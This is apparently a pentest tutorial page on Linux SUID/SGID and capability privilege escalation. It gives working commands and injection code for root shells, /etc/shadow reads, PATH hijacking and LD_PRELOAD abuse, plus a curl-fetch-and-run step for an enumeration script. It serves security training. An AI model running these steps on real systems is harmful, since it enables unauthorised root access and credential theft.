Skip to content

SUID and SGID Binary Privilege Escalation

10 min read Created Feb 13, 2026 Last updated Jul 10, 2026

SUID binaries execute as their owner (usually root) regardless of who runs them. SGID binaries execute with their group's privileges. A misconfigured, custom, or GTFOBins-listed binary with these bits set is often a direct path to root. Unknown custom binaries require analysis before exploitation.

Prerequisites Check

Confirm you have a shell and can execute binaries:

user@host ~ $ id
user@host ~ $ uname -a

Note your username, groups, and kernel version. Groups matter for SGID abuse: see https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for group-specific escalation paths.

Find SUID Privilege Escalation Vectors on Linux

Use precise permission flags: -perm -4000 is legacy and can miss edge cases:

user@host ~ $ # SUID
user@host ~ $ find / -type f -perm -u=s 2>/dev/null
 
user@host ~ $ # SGID
user@host ~ $ find / -type f -perm -g=s 2>/dev/null
 
user@host ~ $ # Both with details
user@host ~ $ find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | xargs ls -la 2>/dev/null
Explain command
/ Search root directory recursively as the starting point.
-type f Match only regular files, excluding directories and symlinks.
-perm -u=s Match files with the SUID bit set for the owner.
-perm -g=s Match files with the SGID bit set for the group.
2>/dev/null Suppress stderr output by redirecting errors to null.
\( -perm -u=s -o -perm -g=s \) Match files with SUID OR SGID bit set.
xargs ls -la Pass found files to ls for detailed long-format listing.

Filter to non-standard paths immediately: standard system binaries like passwd, sudo, and ping are expected. Anything in /opt, /usr/local/bin, /home, or custom application directories warrants investigation:

user@host ~ $ find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | grep -v -E "^/(usr/bin|usr/sbin|bin|sbin)/"
Explain command
/ Start searching from the root directory recursively.
\( Begin grouped expression for combining multiple conditions.
-perm -u=s Match files with SUID bit set for owner.
-o Logical OR operator between permission conditions.
-perm -g=s Match files with SGID bit set for group.
\) End grouped expression for permission conditions.
-type f Restrict results to regular files only.
2>/dev/null Suppress stderr error messages (e.g. permission denied).
-v Invert match; exclude lines matching the pattern.
-E Use extended regular expressions in the pattern.
^/(usr/bin|usr/sbin|bin|sbin)/ Pattern matching common standard binary directories to exclude.

Check binary type: scripts with SUID set behave differently from ELF binaries:

user@host ~ $ find / -perm -u=s -type f 2>/dev/null | xargs file 2>/dev/null

Check for modified system binaries: if a standard binary has SUID but was tampered with:

user@host ~ $ dpkg -V $(dpkg -S /path/to/binary 2>/dev/null | cut -d: -f1) 2>/dev/null

GTFOBins: Known Binaries

If the binary appears on https://gtfobins.github.io/, follow its SUID exploitation method directly.

Common high-impact patterns:

Shell spawn: find, vim, awk, perl, python, nmap (older versions):

user@host ~ $ # find
user@host ~ $ find . -exec /bin/bash -p \;
 
user@host ~ $ # vim
user@host ~ $ vim -c ':!/bin/bash -p'
 
user@host ~ $ # awk
user@host ~ $ awk 'BEGIN {system("/bin/bash -p")}'
 
user@host ~ $ # perl
user@host ~ $ perl -e 'exec "/bin/bash -p"'
 
user@host ~ $ # python
user@host ~ $ python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 
user@host ~ $ # nmap (interactive mode, 2.02 to 5.21)
user@host ~ $ nmap --interactive
user@host ~ $ nmap> !sh
Explain command
-exec /bin/bash -p \; Executes /bin/bash with -p (privileged) for each found file.
-p Starts bash in privileged mode, preserving effective UID/GID.
\; Terminates the -exec action in find.
-c ':!/bin/bash -p' Runs a vim ex command to spawn a privileged bash shell.
BEGIN {system("/bin/bash -p")} awk BEGIN block executes a privileged bash shell at startup.
-e 'exec "/bin/bash -p"' Evaluates a Perl one-liner that exec's a privileged bash shell.
-c 'import os; os.execl("/bin/bash", "bash", "-p")' Runs a Python one-liner that replaces the process with privileged bash.
--interactive Starts nmap in legacy interactive mode (2.02 to 5.21), allowing shell escapes.
!sh Nmap interactive mode command to escape to a shell.

File read: cp, tar, dd, cat with SUID:

user@host ~ $ # dd: read /etc/shadow
user@host ~ $ dd if=/etc/shadow 2>/dev/null
 
user@host ~ $ # tar: extract to read
user@host ~ $ tar xf /etc/shadow -I '/bin/sh -p -c "cat 1>&2"' 2>&1
Explain command
if=/etc/shadow Specifies /etc/shadow as the input file to read.
2>/dev/null Redirects stderr to /dev/null to suppress error output.
xf Extract archive from the specified file.
/etc/shadow Target file passed as the archive argument to tar.
-I '/bin/sh -p -c "cat 1>&2"' Uses a shell as the decompression program to execute arbitrary commands.
2>&1 Redirects stderr to stdout to capture command output.

Always verify the exact binary version: GTFOBins techniques are version-sensitive.

Auto-Check with SUID3NUM

SUID3NUM automates discovery and GTFOBins matching:

user@host ~ $ curl -sL https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -o /tmp/suid3num.py
user@host ~ $ python3 /tmp/suid3num.py

Output separates default system binaries (safe, ignore) from custom binaries (investigate) and lists matching GTFOBins exploitation commands.

Do not use -e: the auto-exploit flag modifies the system and is not permitted on OSCP.

Unknown Custom Binary: Analysis Workflow

This is the most common real scenario. You found a custom SUID binary with an unfamiliar name. Work through this in order:

Step 1: Quick strings triage:

user@host ~ $ strings /path/to/binary | grep -iE "system|exec|popen|PATH|chmod|bash|sh"
Explain command
-iE Case-insensitive search using extended regular expressions.
"system|exec|popen|PATH|chmod|bash|sh" Regex pattern matching common shell execution and privilege escalation strings.

Look for unsafe function calls and unqualified command names. If you see system("backup") without a full path, PATH hijacking is likely viable.

Step 2: Check linked libraries:

user@host ~ $ ldd /path/to/binary

Note any missing libraries (not found): these are shared object injection targets. Note writable library paths.

Step 3: Check RPATH/RUNPATH:

user@host ~ $ readelf -d /path/to/binary | grep -iE "rpath|runpath"
Explain command
-d Displays the dynamic section of an ELF file.
-iE Case-insensitive search using extended regular expressions.
"rpath|runpath" Filters output for RPATH or RUNPATH dynamic entries.

If RPATH includes a writable directory, shared library injection is viable regardless of LD_PRELOAD restrictions.

Step 4: Run with strace to see syscalls:

user@host ~ $ strace -f /path/to/binary 2>&1 | grep -E "execve|open|access"
Explain command
-f Trace child processes created via fork/clone/vfork calls.
2>&1 Redirect stderr to stdout so strace output can be piped.
-E Enable extended regex matching in grep.
"execve|open|access" Filter output to show only execve, open, or access syscalls.

This shows exactly what files and binaries it tries to execute, including missing ones.

Step 5: Run with ltrace to see library calls:

user@host ~ $ ltrace /path/to/binary 2>&1 | head -50
Explain command
/path/to/binary Path to the target binary to trace library calls on.
2>&1 Redirects stderr (fd 2) to stdout (fd 1) to merge both streams.
-50 Limits head output to the first 50 lines of ltrace output.

Shows system(), popen(), and other dangerous calls with their arguments.

PATH Hijacking via SUID Binary

Applies when a SUID binary calls commands without absolute paths.

Confirm the binary uses an unqualified command (from strings/strace analysis above), then:

user@host ~ $ # Create malicious binary in /tmp
user@host ~ $ echo '#!/bin/sh' > /tmp/backup
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/backup
user@host ~ $ chmod +x /tmp/backup
 
user@host ~ $ # Prepend /tmp to PATH and execute
user@host ~ $ export PATH=/tmp:$PATH
user@host ~ $ /path/to/suid-binary
 
user@host ~ $ # Use the SUID bash
user@host ~ $ /tmp/.rootbash -p
Explain command
#!/bin/sh Shebang directive specifying the script interpreter as /bin/sh.
chmod u+s /tmp/.rootbash Sets the SUID bit on the copied bash binary to run as owner (root).
chmod +x /tmp/backup Makes the malicious backup script executable.
PATH=/tmp:$PATH Prepends /tmp to PATH so malicious binary shadows legitimate commands.
-p Runs bash in privileged mode, preserving effective UID (root) from SUID bit.

This works only if the binary does not reset PATH internally. Verify with strace first.

For a full standalone guide on PATH hijacking see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.

Shared Object Injection

Applies when ldd shows a missing library or RPATH points to a writable directory.

Missing library injection:

user@host ~ $ # Confirm the missing library
user@host ~ $ ldd /path/to/binary 2>&1 | grep "not found"
 
user@host ~ $ # Find where it looks for libraries
user@host ~ $ strace /path/to/binary 2>&1 | grep "open.*\.so"
Explain command
/path/to/binary Placeholder path to the target binary executable to inspect.
2>&1 Redirects stderr to stdout so both streams are piped together.
2>&1 Redirects stderr to stdout so both streams are piped together.

/tmp/inject.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
user@host ~ $ gcc -shared -fPIC -nostartfiles -o /tmp/libmissing.so /tmp/inject.c
Explain command
-shared Produce a shared object (.so) instead of an executable.
-fPIC Generate position-independent code suitable for shared libraries.
-nostartfiles Do not link standard system startup files.
-o /tmp/libmissing.so Write output to the specified file path.
/tmp/inject.c Source file to compile into the shared library.

Place the .so in the directory the binary searches (identified from strace output) and re-run the SUID binary.

RPATH writable directory injection:

user@host ~ $ # Confirm RPATH
user@host ~ $ readelf -d /path/to/binary | grep -i rpath
user@host ~ $ # e.g. RPATH = /opt/app/lib
 
user@host ~ $ # Check if writable
user@host ~ $ ls -ld /opt/app/lib
 
user@host ~ $ # If writable, place your .so there with the expected library name
user@host ~ $ cp /tmp/inject.so /opt/app/lib/libexpected.so.1
user@host ~ $ /path/to/suid-binary
Explain command
-d Displays the dynamic section of an ELF binary.
-i Makes the grep search case-insensitive.
-ld Lists directory entries in long format without descending into them.

LD_PRELOAD via SUID (Rare)

Standard SUID binaries ignore LD_PRELOAD for security. This only applies to custom or legacy programs that do not drop privileges before dlopen():

/tmp/preload.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
user@host ~ $ gcc -shared -fPIC -o /tmp/preload.so /tmp/preload.c
user@host ~ $ LD_PRELOAD=/tmp/preload.so /path/to/vulnerable-suid
Explain command
-shared Produce a shared object (.so) instead of an executable.
-fPIC Generate position-independent code required for shared libraries.
-o /tmp/preload.so Specify output file path for the compiled shared library.
/tmp/preload.c Source C file to compile into the shared library.
LD_PRELOAD=/tmp/preload.so Force dynamic linker to load specified shared library before all others.
/path/to/vulnerable-suid Target SUID binary to execute with the preloaded library injected.

For LD_PRELOAD abuse via sudo env_keep, see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.

Capabilities: SUID-Like Grants

Capabilities grant fine-grained privileges without the full SUID bit. Check for them separately:

user@host ~ $ getcap -r / 2>/dev/null
Explain command
-r Recursively search for file capabilities starting from the given path.
/ Root directory as the starting point for recursive capability search.
2>/dev/null Redirects stderr to /dev/null to suppress permission error messages.

High-impact capabilities:

  • cap_setuid+ep: set UID to 0, immediate root

  • cap_dac_read_search+ep: read any file, bypass DAC

  • cap_sys_ptrace+ep: attach to any process, inject shellcode

  • cap_net_raw+ep: raw socket access, sniff traffic

Exploit cap_setuid on Python:

user@host ~ $ /path/to/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Exploit cap_dac_read_search on tar:

user@host ~ $ /path/to/tar -xf /dev/null -I '/bin/sh -p -c "cat /etc/shadow 1>&2"' 2>&1
Explain command
-x Extract files from an archive.
-f /dev/null Specifies /dev/null as the archive file to read from.
-I '/bin/sh -p -c "cat /etc/shadow 1>&2"' Uses a shell command as the compression/decompression program, enabling command injection.
2>&1 Redirects stderr to stdout, capturing injected command output.

For a full capabilities page see https://hackindex.io/platforms/linux/privilege-escalation/capabilities-abuse.

SGID Binaries and Group Access

SGID binaries run with the permissions of their group. If the group has elevated access:

user@host ~ $ # Check your groups
user@host ~ $ id
 
user@host ~ $ # Find SGID binaries matching your groups
user@host ~ $ find / -perm -g=s -type f 2>/dev/null | xargs ls -la 2>/dev/null

Notable SGID targets:

  • Group shadow: read /etc/shadow

  • Group docker: full Docker socket access

  • Group disk: raw disk read/write

  • Group adm: system log access

See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for exploitation of each group.

AppArmor: Check Before Exploiting

AppArmor can block SUID exploitation silently. Verify before wasting time:

user@host ~ $ cat /proc/$$/attr/current
  • unconfined: no restrictions, proceed

  • complain: logged but not blocked, proceed

  • /usr/bin/binary (enforce): blocked per profile, read the policy

user@host ~ $ cat /etc/apparmor.d/usr.bin.binary

Look for deny rules targeting the path you plan to exploit.

References